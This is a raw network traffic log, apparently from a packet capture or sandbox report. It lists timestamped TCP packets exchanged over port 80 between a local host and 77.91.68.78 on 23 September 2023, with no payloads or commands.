Sep 23, 2023 17:53:30.449318886 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.449351072 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.449356079 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.449392080 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.449429989 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.449470997 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.449471951 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.449508905 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.449520111 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.449536085 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.449558020 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.449578047 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.449615955 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.449654102 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.449664116 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.449696064 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.449701071 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.449738026 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.452207088 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.731909037 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.731941938 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.731959105 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.731976986 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.731980085 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.731998920 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.731998920 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.732018948 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.732031107 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.732031107 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.732036114 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.732053041 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.732059002 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.732069016 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.732079983 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.732079983 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.732086897 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.732100010 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.732120991 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.732141972 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.732144117 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.732183933 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.732237101 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.732280970 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.732445955 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.732486963 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.732683897 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.732726097 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.732795954 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.732837915 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.732852936 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.732889891 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.732930899 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.732974052 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.732978106 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.733014107 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.733072042 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.733088017 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.733103991 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.733108044 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.733120918 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.733139992 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.733170033 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.733207941 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.733298063 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.733335972 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.733409882 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.733448982 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.733465910 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.733501911 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.733508110 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.733540058 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.733541965 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.733578920 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.733618021 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.733654976 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.733668089 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.733697891 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.733711004 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.733736038 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.733865976 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.733902931 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.733906031 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.733949900 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.733968973 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.734014034 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.734028101 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.734064102 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.734086037 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.734102964 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.734122992 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.734134912 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.734170914 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.734210014 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.734236002 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.734271049 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.734287024 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.734325886 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.734388113 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.734425068 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.734848976 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.734885931 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.734886885 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.734903097 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.734921932 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.734942913 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.734998941 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.735044003 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.735151052 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.735187054 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.735194921 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.735229969 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.735270023 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.735306978 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.735311985 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.735332966 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.735352993 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.735363960 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.735399008 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.735435009 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.735446930 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.735483885 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.735497952 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.735534906 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.735605955 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.735642910 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.735657930 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.735694885 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.735708952 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.735748053 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.735786915 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.735821009 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.735821962 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.735860109 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.735871077 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.735905886 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.735928059 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.735968113 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.735979080 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.736016035 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.736088037 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.736124992 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.736135960 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.736167908 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.736170053 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.736205101 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.736346006 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.736386061 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.736408949 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.736445904 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.736515045 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.736573935 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.736598969 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.736612082 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.736625910 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.736664057 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.736687899 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.736706018 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.736725092 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.736745119 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.736802101 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.736841917 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.736880064 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.736917019 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.736929893 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.736963987 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.736989975 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.737023115 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.737027884 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.737059116 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.737063885 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.737099886 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.737126112 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.737162113 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.737188101 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.737231016 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.737251043 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.737287045 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.737313032 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.737345934 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.737349033 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.737381935 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.737396002 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.737432003 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.737637997 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.737674952 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.737689018 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.737725019 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.737765074 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.737801075 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.737802982 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.737833023 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.737837076 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.737868071 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.737889051 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.737932920 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.738024950 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.738066912 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.738132000 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.738168955 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.739182949 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.739223003 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.739248991 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.739284992 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.739304066 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.739341974 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.739362001 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.739438057 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.739478111 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.739540100 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.739682913 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.739720106 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.739854097 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.739896059 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.739936113 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.739970922 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.740032911 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.740077019 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.740138054 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.740178108 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.740204096 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.740242004 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.740801096 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.740839958 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.740865946 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.740883112 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.740900993 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.740919113 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.742584944 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.742625952 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.742760897 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.742798090 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.742825031 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.742858887 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.742898941 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.742942095 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.742968082 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.743002892 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.743088007 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.743124962 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.743185043 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.743221998 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.743247986 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.743284941 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.743366957 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.743402958 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.743455887 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.743493080 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.743531942 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.743567944 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.743640900 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.743679047 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.743716955 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.743755102 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.743793964 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.743829966 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.743869066 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.743906975 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.743946075 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.743983030 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.744023085 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.744061947 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.744072914 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.744112968 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.744152069 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.744187117 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.744249105 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.744285107 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.744311094 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.744345903 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.744379044 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.744415045 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.744508982 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.744545937 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.744570017 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.744601965 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.744606018 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.744637012 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.744946957 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.744986057 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.745011091 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.745047092 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.745073080 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.745110035 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.745150089 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.745181084 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.745187044 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.745218039 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.745220900 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.745255947 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.745434046 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.745471001 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.745583057 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.745625019 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.745644093 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.745708942 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.745745897 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.745748043 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.745786905 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.745798111 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.745836973 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.745878935 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.745913982 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.745924950 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.745960951 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.746000051 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.746035099 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.746057987 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.746094942 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.746097088 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.746129990 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.746197939 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.746233940 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.746259928 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.746298075 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.746324062 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.746359110 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.746376991 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.746412039 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.746431112 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.746467113 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.746469021 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.746499062 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.746588945 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.746627092 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.746649981 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.746666908 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.746685028 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.746697903 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.746769905 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.746805906 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.746846914 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:30.746885061 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:30.746927977 CEST	80	49816	77.91.68.78	192.168.2.4
